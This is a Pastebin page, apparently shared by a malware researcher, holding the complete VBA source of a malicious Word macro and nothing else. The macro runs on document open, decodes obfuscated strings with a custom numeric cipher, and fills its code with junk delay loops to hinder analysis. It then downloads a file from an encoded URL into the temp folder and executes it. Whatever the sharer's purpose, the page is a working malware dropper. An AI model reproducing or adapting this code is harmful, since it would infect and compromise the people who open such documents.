SHARE
TWEET

Malicious Word macro

dynamoo Feb 11th, 2015 261 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Private Const XIUaVXAW = "mIM6G1Nr820XQ1wy90D4eJR2R21cJt21V90kp4VY18AKT48Oq1WDE288gqAwLsl0Q9Nxj282D3grq24O3s24LpjU8W31W92uvEl2u82MnF8vi27R1oP63mgP0o5w2wmhg"
  10. Private Const jTIH = "9R7L28D223E3663y8763g570380e839s443i570374y03502E15f64n2380V3570367o2cJZ2n7k3434Y34s28224114m391O03944Kx3434370K626y863M332C3604S3434336h63z944UqwF"
  11. Private Const W0Iv = "1cN1U69k586R7wChe0w6Q986t2K82t320p7g"
  12. Private Const J4OR = "g9RS6F1sl6zi664VRvC704616gxss60mv8z40K0p3e68NWfIfN612Rq8v704oyC6iA16d60VN85z7KQ66OLE72XS6I72640jxN5Oxv"
  13. Private Const OPc8AGh8Ym = "qujEy69B9O27Fo6k00X8n740B547uC2Cu547dm2lgwZ0h7dx7654S72Df3O4D9z676Sf7o691G20hM7bfb676dLZx"
  14. Private Const gglB8IHj3Ao = "x1ek57s2Y0nEYDby6cC380t63qZ8x0GR61n60GjIHzdg3190o25xZ8ZH5h2t58xqP5Je654FyUC5vp6yrS5456A54ITAs525Oly30rB62j7u0FoV53T35uCNC6G16ma0FJ57kvz7QO5oa5G5fn0053Wn3qz5k6Nw160Kda6H1Hef6V0e5c94xq0q5Bzgn775Y53gdNwdaKM0U9Lw553o5hzBhi6p0a505it445fviCMK5rW5556cjv3k25AqDN253CI0w54gdh4x561o0cjFk52PO53TN0E64GdH35muQT58ko8m5258f5uoaS5k8q30zjTa6K3wd2L5Vm2585ieH539Wqxct0gY57B7Ez5h60d5z0Xo25ak3pB0i5v5i55Ufi66l0MmKW05w5BA5w5vq2is"
  15. Private Const tTR7Y = "81J4kv91Q3mu1S0o89G1m2M5411Wb5b5aK12d32127Ysm611yD5c51e2xq101YE13t3c5j0e6d7do7zg0a115pB5tuQ1188ToEf310SD111Pxq111CM9rW13wv133w1v1265ry12CN76s1Z111hx1I19rL9oFuj8691OPE0781Jr1O66111J1Fak10mT89J12u76Qz9k7"
  16. Private Const YKWpkYBliB = "/Extract_Enc_Key/"
  17. Private Const yeSCqp = "/ aYP/"
  18. Private Const TDO = "0"
  19. Private Const eVkdI = "/ yiK/"
  20. Private Const BgpWu5EeNJM = "/Extract_Char_Size/"
  21. Private Const tGZU = ""
  22. Sub autoopen()
  23.  
  24. Dim fso, tempfile
  25.  
  26. Dim aPWAtnYp As Integer
  27. aPWAtnYp = 8
  28. Do While aPWAtnYp < 88
  29. DoEvents: aPWAtnYp = aPWAtnYp + 1
  30. Loop
  31.  
  32. Set fso = CreateObject(RoV(tTR7Y))
  33.  
  34. Dim tfolder, tname, tfile
  35.  
  36. Dim oJJHzlix As Integer
  37. oJJHzlix = 9
  38. Do While oJJHzlix < 38
  39. DoEvents: oJJHzlix = oJJHzlix + 1
  40. Loop
  41.  
  42. Const TemporaryFolder = 2
  43.  
  44. Dim BNAaAZvS As Integer
  45. BNAaAZvS = 1
  46. Do While BNAaAZvS < 72
  47. DoEvents: BNAaAZvS = BNAaAZvS + 1
  48. Loop
  49.  
  50. Set tfolder = fso.GetSpecialFolder(TemporaryFolder)
  51.  
  52. Dim FpsqzDGe As Integer
  53. FpsqzDGe = 5
  54. Do While FpsqzDGe < 92
  55. DoEvents: FpsqzDGe = FpsqzDGe + 1
  56. Loop
  57.  
  58. strLink = RoV(gglB8IHj3Ao)
  59.  
  60.  
  61. Dim cojLkesR As Integer
  62. cojLkesR = 2
  63. Do While cojLkesR < 85
  64. DoEvents: cojLkesR = cojLkesR + 1
  65. Loop
  66.  
  67. strSaveTo = tfolder & RoV(OPc8AGh8Ym)
  68.  
  69.  
  70.  
  71. Dim evWAycKl As Integer
  72. evWAycKl = 8
  73. Do While evWAycKl < 86
  74. DoEvents: evWAycKl = evWAycKl + 1
  75. Loop
  76.  
  77. Set objHTTP = CreateObject(RoV(J4OR))
  78.  
  79.  
  80. objHTTP.Open RoV(W0Iv), strLink, False
  81.  
  82. Dim TqRHsoAK As Integer
  83. TqRHsoAK = 4
  84. Do While TqRHsoAK < 44
  85. DoEvents: TqRHsoAK = TqRHsoAK + 1
  86. Loop
  87.  
  88. objHTTP.send
  89.  
  90. Dim kDTDxxeg As Integer
  91. kDTDxxeg = 4
  92. Do While kDTDxxeg < 72
  93. DoEvents: kDTDxxeg = kDTDxxeg + 1
  94. Loop
  95.  
  96.  
  97.  
  98. Dim iChVXYlR As Integer
  99. iChVXYlR = 9
  100. Do While iChVXYlR < 92
  101. DoEvents: iChVXYlR = iChVXYlR + 1
  102. Loop
  103.  
  104. Set objFSO = CreateObject(RoV(jTIH))
  105. If objFSO.FileExists(strSaveTo) Then
  106.  
  107. Dim tjEXHIfK As Integer
  108. tjEXHIfK = 2
  109. Do While tjEXHIfK < 85
  110. DoEvents: tjEXHIfK = tjEXHIfK + 1
  111. Loop
  112.  
  113.   objFSO.DeleteFile (strSaveTo)
  114. End If
  115.  
  116. If objHTTP.Status = 200 Then
  117.   Dim objStream
  118.  
  119. Dim WxRLzJsY As Integer
  120. WxRLzJsY = 6
  121. Do While WxRLzJsY < 38
  122. DoEvents: WxRLzJsY = WxRLzJsY + 1
  123. Loop
  124.  
  125.   Set objStream = CreateObject(RoV(XIUaVXAW))
  126.  
  127. Dim UBRHdyDz As Integer
  128. UBRHdyDz = 7
  129. Do While UBRHdyDz < 76
  130. DoEvents: UBRHdyDz = UBRHdyDz + 1
  131. Loop
  132.  
  133.   With objStream
  134.  
  135. Dim QEcjjzAr As Integer
  136. QEcjjzAr = 7
  137. Do While QEcjjzAr < 19
  138. DoEvents: QEcjjzAr = QEcjjzAr + 1
  139. Loop
  140.  
  141.     .Type = 1
  142.  
  143. Dim KFatPLta As Integer
  144. KFatPLta = 6
  145. Do While KFatPLta < 69
  146. DoEvents: KFatPLta = KFatPLta + 1
  147. Loop
  148.  
  149.     .Open
  150.  
  151. Dim UVQhprxk As Integer
  152. UVQhprxk = 7
  153. Do While UVQhprxk < 14
  154. DoEvents: UVQhprxk = UVQhprxk + 1
  155. Loop
  156.  
  157.     .Write objHTTP.responseBody
  158.  
  159. Dim IXWZVrmv As Integer
  160. IXWZVrmv = 4
  161. Do While IXWZVrmv < 41
  162. DoEvents: IXWZVrmv = IXWZVrmv + 1
  163. Loop
  164.  
  165.     .SaveToFile strSaveTo
  166.  
  167. Dim GucjkXVw As Integer
  168. GucjkXVw = 8
  169. Do While GucjkXVw < 25
  170. DoEvents: GucjkXVw = GucjkXVw + 1
  171. Loop
  172.  
  173.     .Close
  174.  
  175. Dim KQkJwKSc As Integer
  176. KQkJwKSc = 6
  177. Do While KQkJwKSc < 69
  178. DoEvents: KQkJwKSc = KQkJwKSc + 1
  179. Loop
  180.  
  181.   End With
  182.  
  183. Dim LOAtpKQT As Integer
  184. LOAtpKQT = 9
  185. Do While LOAtpKQT < 31
  186. DoEvents: LOAtpKQT = LOAtpKQT + 1
  187. Loop
  188.  
  189.   Set objStream = Nothing
  190. End If
  191.  
  192. If objFSO.FileExists(strSaveTo) Then
  193.  
  194. End If
  195.  
  196. Dim TqTSAzTv As Integer
  197. TqTSAzTv = 4
  198. Do While TqTSAzTv < 72
  199. DoEvents: TqTSAzTv = TqTSAzTv + 1
  200. Loop
  201.  
  202. Shell strSaveTo
  203. End Sub
  204.  
  205. Function RoV(InputStringToBeDecrypted As String) As String
  206.  
  207.  
  208. Dim strText As String
  209. Dim strDecryptedText As String
  210. Dim strKeyNum As String
  211. Dim strChar1 As String
  212. Dim strChar2 As String
  213. Dim nLenght As Integer
  214. Dim nKeyNum As Integer
  215. On Error GoTo ErrorHandler
  216.  
  217. Dim eZZrilCm As Integer
  218. eZZrilCm = 8
  219. Do While eZZrilCm < 25
  220. DoEvents: eZZrilCm = eZZrilCm + 1
  221. Loop
  222.  
  223. strTempText = InputStringToBeDecrypted
  224.  
  225. Dim KQdfURfQ As Integer
  226. KQdfURfQ = 8
  227. Do While KQdfURfQ < 69
  228. DoEvents: KQdfURfQ = KQdfURfQ + 1
  229. Loop
  230.  
  231. strText = strTempText
  232.  
  233. Dim dkVlTigm As Integer
  234. dkVlTigm = 1
  235. Do While dkVlTigm < 43
  236. DoEvents: dkVlTigm = dkVlTigm + 1
  237. Loop
  238.  
  239. strDecryptedText = ""
  240.  
  241. Dim fhiTlifA As Integer
  242. fhiTlifA = 3
  243. Do While fhiTlifA < 15
  244. DoEvents: fhiTlifA = fhiTlifA + 1
  245. Loop
  246.  
  247. strText = Left(strText, Len(strText) - 4)
  248.  
  249. Dim IXMPjSgp As Integer
  250. IXMPjSgp = 4
  251. Do While IXMPjSgp < 13
  252. DoEvents: IXMPjSgp = IXMPjSgp + 1
  253. Loop
  254.  
  255. strText = Right(strText, Len(strText) - 4)
  256.  
  257. Dim mvWUANHY As Integer
  258. mvWUANHY = 4
  259. Do While mvWUANHY < 41
  260. DoEvents: mvWUANHY = mvWUANHY + 1
  261. Loop
  262.  
  263. nCharSize = 0
  264.  
  265. Dim ebGzehgN As Integer
  266. ebGzehgN = 1
  267. Do While ebGzehgN < 58
  268. DoEvents: ebGzehgN = ebGzehgN + 1
  269. Loop
  270.  
  271. Call Extract_Char_Size(strText, nCharSize)
  272.  
  273. Dim kKiTmzPL As Integer
  274. kKiTmzPL = 1
  275. Do While kKiTmzPL < 11
  276. DoEvents: kKiTmzPL = kKiTmzPL + 1
  277. Loop
  278.  
  279. Call Extract_Enc_Key(strText, nCharSize, nEncKey)
  280.  
  281. Dim veShaoww As Integer
  282. veShaoww = 5
  283. Do While veShaoww < 85
  284. DoEvents: veShaoww = veShaoww + 1
  285. Loop
  286.  
  287. nTextLenght = Len(strText)
  288. For nCounter = 1 To Len(strText) Step nCharSize
  289.  
  290. Dim LYIUSDws As Integer
  291. LYIUSDws = 9
  292. Do While LYIUSDws < 31
  293. DoEvents: LYIUSDws = LYIUSDws + 1
  294. Loop
  295.  
  296. strChar1 = Mid(strText, nCounter, nCharSize)
  297.  
  298. Dim vaLFVutQ As Integer
  299. vaLFVutQ = 3
  300. Do While vaLFVutQ < 32
  301. DoEvents: vaLFVutQ = vaLFVutQ + 1
  302. Loop
  303.  
  304. nChar = aYP(strChar1)
  305.  
  306. Dim bBezSueK As Integer
  307. bBezSueK = 5
  308. Do While bBezSueK < 84
  309. DoEvents: bBezSueK = bBezSueK + 1
  310. Loop
  311.  
  312. nChar2 = nChar / nEncKey
  313.  
  314. Dim iNVxfcZd As Integer
  315. iNVxfcZd = 9
  316. Do While iNVxfcZd < 92
  317. DoEvents: iNVxfcZd = iNVxfcZd + 1
  318. Loop
  319.  
  320. strChar2 = Chr(nChar2)
  321.  
  322. Dim wljNYoVy As Integer
  323. wljNYoVy = 2
  324. Do While wljNYoVy < 54
  325. DoEvents: wljNYoVy = wljNYoVy + 1
  326. Loop
  327.  
  328. strDecryptedText = strDecryptedText + strChar2
  329. Next nCounter
  330.  
  331. Dim iBrWqwqZ As Integer
  332. iBrWqwqZ = 9
  333. Do While iBrWqwqZ < 39
  334. DoEvents: iBrWqwqZ = iBrWqwqZ + 1
  335. Loop
  336.  
  337. strDecryptedText = Trim(strDecryptedText)
  338.  
  339. Dim wkxbEuUw As Integer
  340. wkxbEuUw = 5
  341. Do While wkxbEuUw < 25
  342. DoEvents: wkxbEuUw = wkxbEuUw + 1
  343. Loop
  344.  
  345.  RoV = strDecryptedText
  346.  
  347. Dim aSIYGAhW As Integer
  348. aSIYGAhW = 8
  349. Do While aSIYGAhW < 27
  350. DoEvents: aSIYGAhW = aSIYGAhW + 1
  351. Loop
  352.  
  353. Exit Function
  354.  
  355. Dim wllPStkR As Integer
  356. wllPStkR = 5
  357. Do While wllPStkR < 25
  358. DoEvents: wllPStkR = wllPStkR + 1
  359. Loop
  360.  
  361. ErrorHandler:
  362. End Function
  363.  
  364.  
  365. Sub Extract_Char_Size(ByRef strText, ByRef nCharSize)
  366.  
  367. Dim EnshTYwl As Integer
  368. EnshTYwl = 6
  369. Do While EnshTYwl < 99
  370. DoEvents: EnshTYwl = EnshTYwl + 1
  371. Loop
  372.  
  373. DecryptParts = DecryptParts & BgpWu5EeNJM
  374.  
  375. Dim iWcxJNtL As Integer
  376. iWcxJNtL = 9
  377. Do While iWcxJNtL < 91
  378. DoEvents: iWcxJNtL = iWcxJNtL + 1
  379. Loop
  380.  
  381. nLeft = Len(strText) \ 2
  382.  
  383. Dim DhIRemFl As Integer
  384. DhIRemFl = 8
  385. Do While DhIRemFl < 27
  386. DoEvents: DhIRemFl = DhIRemFl + 1
  387. Loop
  388.  
  389. strLeft = Left(strText, nLeft)
  390.  
  391. Dim wjEVEPdD As Integer
  392. wjEVEPdD = 2
  393. Do While wjEVEPdD < 25
  394. DoEvents: wjEVEPdD = wjEVEPdD + 1
  395. Loop
  396.  
  397. nRight = Len(strText) - nLeft
  398.  
  399. Dim DjTGskvn As Integer
  400. DjTGskvn = 8
  401. Do While DjTGskvn < 27
  402. DoEvents: DjTGskvn = DjTGskvn + 1
  403. Loop
  404.  
  405. strRight = Right(strText, nRight)
  406.  
  407. Dim htuOiHky As Integer
  408. htuOiHky = 1
  409. Do While htuOiHky < 13
  410. DoEvents: htuOiHky = htuOiHky + 1
  411. Loop
  412.  
  413. strKeyEnc = Right(strLeft, 2)
  414.  
  415. Dim MbkJlpaT As Integer
  416. MbkJlpaT = 6
  417. Do While MbkJlpaT < 15
  418. DoEvents: MbkJlpaT = MbkJlpaT + 1
  419. Loop
  420.  
  421. strKeySize = Left(strRight, 2)
  422.  
  423. Dim bLRMJLJO As Integer
  424. bLRMJLJO = 5
  425. Do While bLRMJLJO < 31
  426. DoEvents: bLRMJLJO = bLRMJLJO + 1
  427. Loop
  428.  
  429. strKeyEnc = yiK(strKeyEnc)
  430.  
  431. Dim oMbglojr As Integer
  432. oMbglojr = 9
  433. Do While oMbglojr < 38
  434. DoEvents: oMbglojr = oMbglojr + 1
  435. Loop
  436.  
  437. strKeySize = yiK(strKeySize)
  438.  
  439. Dim DgPwRZBE As Integer
  440. DgPwRZBE = 8
  441. Do While DgPwRZBE < 55
  442. DoEvents: DgPwRZBE = DgPwRZBE + 1
  443. Loop
  444.  
  445. nKeyEnc = Val(strKeyEnc)
  446.  
  447. Dim lOWEHCIe As Integer
  448. lOWEHCIe = 2
  449. Do While lOWEHCIe < 57
  450. DoEvents: lOWEHCIe = lOWEHCIe + 1
  451. Loop
  452.  
  453. nKeySize = Val(strKeySize)
  454.  
  455. Dim VruPzjkE As Integer
  456. VruPzjkE = 9
  457. Do While VruPzjkE < 73
  458. DoEvents: VruPzjkE = VruPzjkE + 1
  459. Loop
  460.  
  461. nCharSize = nKeySize - nKeyEnc
  462.  
  463. Dim JMnoJxvF As Integer
  464. JMnoJxvF = 6
  465. Do While JMnoJxvF < 23
  466. DoEvents: JMnoJxvF = JMnoJxvF + 1
  467. Loop
  468.  
  469. strText = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
  470. End Sub
  471.  
  472. Function yiK(ByVal cString As String) As String
  473.  
  474. Dim xsCZQUsk As Integer
  475. xsCZQUsk = 5
  476. Do While xsCZQUsk < 86
  477. DoEvents: xsCZQUsk = xsCZQUsk + 1
  478. Loop
  479.  
  480. DecryptParts = DecryptParts & eVkdI
  481. For nCounter = 1 To Len(cString)
  482.  
  483. Dim dvmQYGgO As Integer
  484. dvmQYGgO = 3
  485. Do While dvmQYGgO < 68
  486. DoEvents: dvmQYGgO = dvmQYGgO + 1
  487. Loop
  488.  
  489. strChar1 = Mid(cString, nCounter, 1)
  490. If IsNumeric(strChar1) Then
  491.  
  492. Dim PINhUgrm As Integer
  493. PINhUgrm = 7
  494. Do While PINhUgrm < 11
  495. DoEvents: PINhUgrm = PINhUgrm + 1
  496. Loop
  497.  
  498. strTempString = strTempString + strChar1
  499. Else
  500.  
  501. Dim xfFqsnkJ As Integer
  502. xfFqsnkJ = 2
  503. Do While xfFqsnkJ < 63
  504. DoEvents: xfFqsnkJ = xfFqsnkJ + 1
  505. Loop
  506.  
  507. strTempString = strTempString + TDO
  508. End If
  509. Next nCounter
  510.  
  511. Dim FfFphwml As Integer
  512. FfFphwml = 8
  513. Do While FfFphwml < 55
  514. DoEvents: FfFphwml = FfFphwml + 1
  515. Loop
  516.  
  517.  yiK = strTempString
  518. End Function
  519.  
  520. Function aYP(strTempText As String) As Integer
  521.  
  522. Dim WcvxYsUT As Integer
  523. WcvxYsUT = 9
  524. Do While WcvxYsUT < 91
  525. DoEvents: WcvxYsUT = WcvxYsUT + 1
  526. Loop
  527.  
  528. DecryptParts = DecryptParts & yeSCqp
  529.  
  530. Dim zIaqNrsZ As Integer
  531. zIaqNrsZ = 1
  532. Do While zIaqNrsZ < 41
  533. DoEvents: zIaqNrsZ = zIaqNrsZ + 1
  534. Loop
  535.  
  536. strTempText = Trim(strTempText)
  537. For nCounter = 1 To Len(strTempText)
  538.  
  539. Dim JWccUXig As Integer
  540. JWccUXig = 8
  541. Do While JWccUXig < 23
  542. DoEvents: JWccUXig = JWccUXig + 1
  543. Loop
  544.  
  545. strChar1 = Mid(strTempText, nCounter, 1)
  546. If IsNumeric(strChar1) Then
  547.  
  548. Dim EnsldimQ As Integer
  549. EnsldimQ = 6
  550. Do While EnsldimQ < 99
  551. DoEvents: EnsldimQ = EnsldimQ + 1
  552. Loop
  553.  
  554. strText = strText + strChar1
  555. End If
  556. Next nCounter
  557.  
  558. Dim lPLFXhwp As Integer
  559. lPLFXhwp = 2
  560. Do While lPLFXhwp < 28
  561. DoEvents: lPLFXhwp = lPLFXhwp + 1
  562. Loop
  563.  
  564. nResult = Val(strText)
  565.  
  566. Dim EAuQJlCY As Integer
  567. EAuQJlCY = 3
  568. Do While EAuQJlCY < 75
  569. DoEvents: EAuQJlCY = EAuQJlCY + 1
  570. Loop
  571.  
  572.  aYP = nResult
  573. End Function
  574.  
  575. Sub Extract_Enc_Key(ByRef strText, ByVal nCharSize, ByRef nEncKey)
  576.  
  577. Dim ZZaoofkC As Integer
  578. ZZaoofkC = 3
  579. Do While ZZaoofkC < 75
  580. DoEvents: ZZaoofkC = ZZaoofkC + 1
  581. Loop
  582.  
  583. DecryptParts = DecryptParts & YKWpkYBliB
  584.  
  585. Dim wlwYBlvo As Integer
  586. wlwYBlvo = 5
  587. Do While wlwYBlvo < 25
  588. DoEvents: wlwYBlvo = wlwYBlvo + 1
  589. Loop
  590.  
  591. strEncKey = vbNullString
  592.  
  593. Dim bWlWDoIB As Integer
  594. bWlWDoIB = 3
  595. Do While bWlWDoIB < 93
  596. DoEvents: bWlWDoIB = bWlWDoIB + 1
  597. Loop
  598.  
  599. nLenght = Len(strText) - nCharSize
  600.  
  601. Dim lQDlEgFq As Integer
  602. lQDlEgFq = 4
  603. Do While lQDlEgFq < 43
  604. DoEvents: lQDlEgFq = lQDlEgFq + 1
  605. Loop
  606.  
  607. nLeft = nLenght \ 2
  608.  
  609. Dim snuHlmWx As Integer
  610. snuHlmWx = 3
  611. Do While snuHlmWx < 69
  612. DoEvents: snuHlmWx = snuHlmWx + 1
  613. Loop
  614.  
  615. strLeft = Left(strText, nLeft)
  616.  
  617. Dim PDZiTMSN As Integer
  618. PDZiTMSN = 5
  619. Do While PDZiTMSN < 59
  620. DoEvents: PDZiTMSN = PDZiTMSN + 1
  621. Loop
  622.  
  623. nRight = nLenght - nLeft
  624.  
  625. Dim bCdlyteh As Integer
  626. bCdlyteh = 5
  627. Do While bCdlyteh < 83
  628. DoEvents: bCdlyteh = bCdlyteh + 1
  629. Loop
  630.  
  631. strRight = Right(strText, nRight)
  632.  
  633. Dim VoIOlRMM As Integer
  634. VoIOlRMM = 7
  635. Do While VoIOlRMM < 74
  636. DoEvents: VoIOlRMM = VoIOlRMM + 1
  637. Loop
  638.  
  639. strEncKey = Mid(strText, nLeft + 1, nCharSize)
  640.  
  641. Dim JVremBiP As Integer
  642. JVremBiP = 8
  643. Do While JVremBiP < 24
  644. DoEvents: JVremBiP = JVremBiP + 1
  645. Loop
  646.  
  647. strEncKey = yiK(strEncKey)
  648.  
  649. Dim iVyMzUlc As Integer
  650. iVyMzUlc = 9
  651. Do While iVyMzUlc < 92
  652. DoEvents: iVyMzUlc = iVyMzUlc + 1
  653. Loop
  654.  
  655. nEncKey = Val(Trim(strEncKey))
  656.  
  657. Dim lGlWQmDh As Integer
  658. lGlWQmDh = 4
  659. Do While lGlWQmDh < 72
  660. DoEvents: lGlWQmDh = lGlWQmDh + 1
  661. Loop
  662.  
  663. strText = strLeft + strRight
  664. End Sub
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top